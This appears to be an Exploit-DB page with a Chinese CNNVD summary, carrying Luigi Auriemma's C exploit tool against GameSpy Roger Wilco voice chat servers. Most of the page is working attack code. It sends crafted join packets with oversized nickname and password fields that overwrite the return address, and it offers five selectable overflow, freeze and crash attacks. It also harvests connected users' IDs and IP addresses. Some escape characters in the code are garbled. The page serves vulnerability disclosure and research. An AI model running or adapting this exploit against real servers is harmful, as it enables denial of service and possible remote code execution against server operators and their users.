https://www.exploit-db.com/exploits/95
https://www.securityfocus.com/bid/87720
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200309-005

RogerWilcographical服务器1.4.1.6及其早期版本，Windows的dedicated服务器0.32a及其早期版本和0.27及其早期版本存在缓冲区溢出漏洞。远程攻击者可以借助带有超长值的客户端请求导致服务拒绝。

/*

by Luigi Auriemma

Use -DWIN to compile it on Windows

UNIX & WIN VERSION

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif


#define VER "0.2"
#define PORT 3782
#define UDPORT 32230
#define BUFFSZ 4096
#define TIMEOUT 5
#define CHANNEL "channel"

/* 516 bytes */
#define BOFNICK 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"AAAA" /* EIP */

/* 33 bytes */
#define BOF2 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

/* 1022 bytes */
#define BOF3 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"AAAA" /* EIP */

/* 1268 bytes */
#define PWDBOF 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
"AAAA" /* EIP */

void rw_manage(int sock, u_char *ptr, int len);
void info_udp(char *hostname, u_short port);
void timeout(int sock);
u_char *create_pck(char *channel, char *password, char *nick, u_short *pcklen);
void show_dump(unsigned char *buff, unsigned int buffsz);
void showinfostring(unsigned char *buff, int size);
u_long resolv(char *host);
void std_err(void);

u_char bug = 0,
next = 0; /* 0 = tag, 1 = size, 2 = data */
u_short type = 0,
size = 0;

int main(int argc, char *argv[]) {
u_char *buff = 0,
*pcksend = 0,
info = 0,
autorejoin = 0;
char *channel = CHANNEL,
*nick = "",
*password = 0;
struct sockaddr_in peer;
int sd,
err,
i,
len;
u_short pcklen,
port = PORT;

setbuf(stdout, NULL);

fputs("n"
"Testing tool for RogerWilco "VER"n"
"by Luigi Auriemman"
"e-mail: [email protected]"
"web: http://aluigi.altervista.orgn"
"n", stdout);


if(argc < 2) {
printf("nUsage: %s [bugs] [options] <host>n"
"nBugs:n"
"-1 Remote broadcast BoF in versions 2001 and BoF in 1.4.1.6 (*)n"
"-2 DoS to freeze servers, versions 2001 and 1.4.1.6 (*)n"
"-3 Server crash in version 1.4.1.6 (*)n"
"-4 Buffer-overflow in versions 2001, 1.4.1.2 and 1.4.1.6(*)n"
"-5 Server's buffer-overflow versus ALL the graphical clients includedn"
" the 1.4.1.6 ver and ALL the dedicated servers included the 0.30an"
" version. This bug affets EVERY server also if you don't know itsn"
" password (you must not set the channel to overwrite the returnn"
" address with my default value AAAA)n"
"Options:n"
"-n NICK Chose your nickname (default invisible mode)n"
"-c CHAN Chose the channel to join (default ""CHANNEL"")n"
"-w PASS Chose the password for joining the chat (default none)n"
"-p PORT Server port to connect to (default 3782) (default info-port 32230)n"
"-a Autorejoin immediately if kickedn"
"-i Retrieve info from the remote server using UDP (if not hidden)n"
"nn"
"(*) These bugs affect the graphical server (not the dedicated server) and ifn"
" the server is dedicated, all the clients connected are vulnerablen"
" This exploit, without using any of these bugs'options, runs like a sniffern"
" and shows you some useful informationsn"
"n", argv[0]);
exit(1);
}


argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case '1':
case '2':
case '3':
case '4':
case '5': bug = argv[i][1] - 0x30; break;
case 'n': nick = argv[++i]; break;
case 'c': channel = argv[++i]; break;
case 'w': password = argv[++i]; break;
case 'p': port = atoi(argv[++i]); break;
case 'a': autorejoin = 1; break;
case 'i': info = 1; break;
default: {
printf("nError: wrong argument (%s)n", argv[i]);
exit(1);
}
}
}

#ifdef WIN
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

if(info) {
if(port == PORT) port = UDPORT;
info_udp(argv[argc], port);
return(0);
}

printf("n"
"Nickname: %sn"
"Channel: %sn"
"n", nick, channel);

peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

buff = malloc(BUFFSZ + 1);
if(!buff) std_err();


/* AUTOREJOIN */
while(1) {

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();


printf("nConnecting to %s:%hun",
inet_ntoa(peer.sin_addr),
htons(peer.sin_port));

err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) std_err();


/* BUG 5 */
if(bug == 5) password = PWDBOF;

pcksend = create_pck(channel, password, nick, &pcklen);
err = send(sd, pcksend, pcklen, 0);
if(err < 0) std_err();

next = 0;
while(1) {
len = recv(sd, buff, BUFFSZ, 0);
if(len < 0) std_err();
if(!len) {
fputs("nError: Connection lostn", stdout);
break;
}

rw_manage(sd, buff, len);
}

close(sd);

if(!autorejoin) break;
}

return(0);
}

void rw_manage(int sock, u_char *ptr, int len) {
int err;
u_long ip;
u_short port;


while(len > 0) { /* while */

switch(next) {
/* 0 */ case 0: {
type = *(u_short *)ptr;
next = 0;
switch(type) {
case 0x030f: {
fputs("You have been kicked outn", stdout);
} break;
case 0x060f: {
fputs("The channel you want to join doesn't exist!n", stdout);
} break;
case 0x070f: {
fputs("The channel requires a password or your password is wrongn", stdout);
} break;
case 0x140f: {
err = send(sock, "x0fx14", 2, 0);
if(err < 0) std_err();
} break;
case 0x150f: {
err = send(sock, "x0fx15", 2, 0);
if(err < 0) std_err();
} break;
default: next = 1; break;
}
ptr += 2;
len -= 2;
} break; 
/* 1 */ case 1: {
size = htons(*(u_short *)ptr);
next = 2;
ptr += 2;
len -= 2;
} break;
/* 2 */ case 2: {
switch(type) {
case 0x020f: {
printf("You have ID %hun", htons(*(u_short *)ptr));
} break;
case 0x0a0f: {
printf("User with ID %hu is enteredn", htons(*(u_short *)ptr));
} break;
case 0x0b0f: {
printf("User with ID %hu is exitedn", htons(*(u_short *)ptr));
} break;
case 0x0c0f: {
err = size - 2;
printf("User with ID %hu has name: ", htons(*(u_short *)ptr));
fwrite(ptr + 2, err, 1, stdout);
fputc('n', stdout);
} break;
case 0x0d0f:
case 0x0e0f: {
/* BOH???
printf("%hu - %dn",
htons(*(u_short *)ptr), htonl(*(u_long *)(ptr + 2)));
*/
} break;
case 0x0f0f: {
ip = *(u_long *)(ptr + 2);
port = *(u_short *)(ptr + 6);
printf("Address of user with ID %hu is %s:%hun",
htons(*(u_short *)ptr),
inet_ntoa(*(struct in_addr *)&ip),
htons(port));
} break;
default: {
printf("--> Undefined type: %04x (hex dump follows)n", type);
show_dump(ptr, size);
} break;
}
next = 0;
ptr += size;
len -= size;
} break;
}

} /* while */
}

void info_udp(char *hostname, u_short port) {
struct sockaddr_in peer;
int sd,
err,
peerlen;
u_char *buff;

peer.sin_addr.s_addr = resolv(hostname);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
peerlen = sizeof(peer);

printf("nRetrieve information from: %s:%dnn",
inet_ntoa(peer.sin_addr), port);


sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();


err = sendto(sd, "\status\", 8, 0, (struct sockaddr *)&peer, peerlen);
if(err < 0) std_err();

timeout(sd);


buff = malloc(BUFFSZ + 1);
if(!buff) std_err();

err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &peerlen);
if(err < 0) std_err();
buff[err] = 0x00;

showinfostring(buff, err);

close(sd);
free(buff);
}

u_char *create_pck(char *channel, char *password, char *nick, u_short *pcklen) {
static u_char *buff;
u_char *ptr;
u_short len,
tmp,
pwlen = 0,
chlen,
nicklen;

buff = malloc(BUFFSZ);
if(!buff) std_err();

ptr = buff;

chlen = strlen(channel) + 1;
if(password) pwlen = strlen(password);

len = chlen + pwlen + 12;
tmp = htons(len);

memcpy(ptr, "x0fx00", 2);
ptr += 2;
memcpy(ptr, &tmp, 2);
ptr += 2;

/* I dunno what the following 12 bytes are, but they work fine */
memcpy(ptr, "x6AxD6x4Cx03x96xEDx3BxE7x88xE2xA9x74", 12);
ptr += 12;
memcpy(ptr, channel, chlen);
ptr += chlen;

if(password) {
memcpy(ptr, password, pwlen);
ptr += pwlen;
}

memcpy(ptr, "x0Fx10", 2);
ptr += 2;

switch(bug) {
case 1: nick = BOFNICK; break;
case 2: {
*pcklen = ptr - buff;
return(buff);
} break;
case 3: nick = BOF2; break;
case 4: nick = BOF3; break;
default: break;
}

nicklen = strlen(nick);
tmp = htons(nicklen);
memcpy(ptr, &tmp, 2);
ptr += 2;
memcpy(ptr, nick, nicklen);
ptr += nicklen;

memcpy(ptr,
"x0Fx11"
"x00x04" "x00x00x00x02"
"x0Fx12"
"x00x04" "x00x00x00x00", 16);

*pcklen = ptr - buff + 16;

return(buff);
}

void show_dump(unsigned char *buff, unsigned int buffsz) {
const char *hex = "0123456789abcdef";
unsigned char buffout[80],
*ptrout,
*ptr;
unsigned int num;
int i,
j,
rest;

num = buffsz >> 4; /* 16 caratteri */
rest = (buffsz - (num << 4));
ptr = buff;


for(i = 0; i < num; i++) {
ptrout = buffout;
for(j = 0; j < 16; j++) {
*ptrout++ = hex[*ptr >> 4];
*ptrout++ = hex[*ptr & 0xf];
*ptrout++ = 0x20;
*ptr++;
}
*ptrout++ = 0x20;
*ptrout++ = 0x20;

ptr -= 16;
for(j = 0; j < 16; j++) {
if(*ptr > 0x20) *ptrout = *ptr;
else *ptrout = '.';
ptr++;
ptrout++;
}
*ptrout++ = 0x0a;
*ptrout = 0x00;
fputs(buffout, stdout);
}

if(rest) {
ptrout = buffout;
for(j = 0; j < rest; j++) {
*ptrout++ = hex[*ptr >> 4];
*ptrout++ = hex[*ptr & 0xf];
*ptrout++ = 0x20;
*ptr++;
}

j = 50 - (ptrout - buffout);
memset(ptrout, 0x20, j);
ptrout += j;

ptr -= rest;
for(j = 0; j < rest; j++) {
if(*ptr > 0x20) *ptrout = *ptr;
else *ptrout = '.';
ptr++;
ptrout++;
}
*ptrout++ = 0x0a;
*ptrout = 0x00;
fputs(buffout, stdout);
}
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("nError: Unable to resolve hostname (%s)n",
host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}

return(host_ip);
}

void timeout(int sock) {
struct timeval timeout;
fd_set fd_read;
int err;


timeout.tv_sec = TIMEOUT;
timeout.tv_usec = 0;

FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &timeout);
if(err < 0) std_err();
if(!err) {
fputs("nError: Socket timeout, no answers receivedn", stdout);
exit(1);
}
}

void showinfostring(unsigned char *buff, int size) {
int nt = 1;
// int len;
u_char *string;


// len = strlen(buff);
// if(len < size) buff += len + 1;

while(1) {
string = strchr(buff, '\');
if(!string) break;

*string = 0x00;


/* n or t */
if(!nt) {
printf("%s: ", buff);
nt++;
} else {
printf("%sn", buff);
nt = 0;
}


buff = string + 1;
}

printf("%snn", buff);
}

#ifndef WIN
void std_err(void) {
perror("nError");
exit(1);
}
#endif

------------------------------ winerr.h ------------------------------
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "nError: %sn", error);
exit(1);
}

GameSpy Roger Wilco Graphical Server 1.4.1.6

GameSpy Roger Wilco Graphical Server 1.4.1.5

GameSpy Roger Wilco Graphical Server 1.4.1.4

GameSpy Roger Wilco Graphical Server 1.4.1.3

GameSpy

来源:BUGTRAQ
名称:20030908Rogerwilco:server’sbufferoverflow
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=106304902323758&w;=2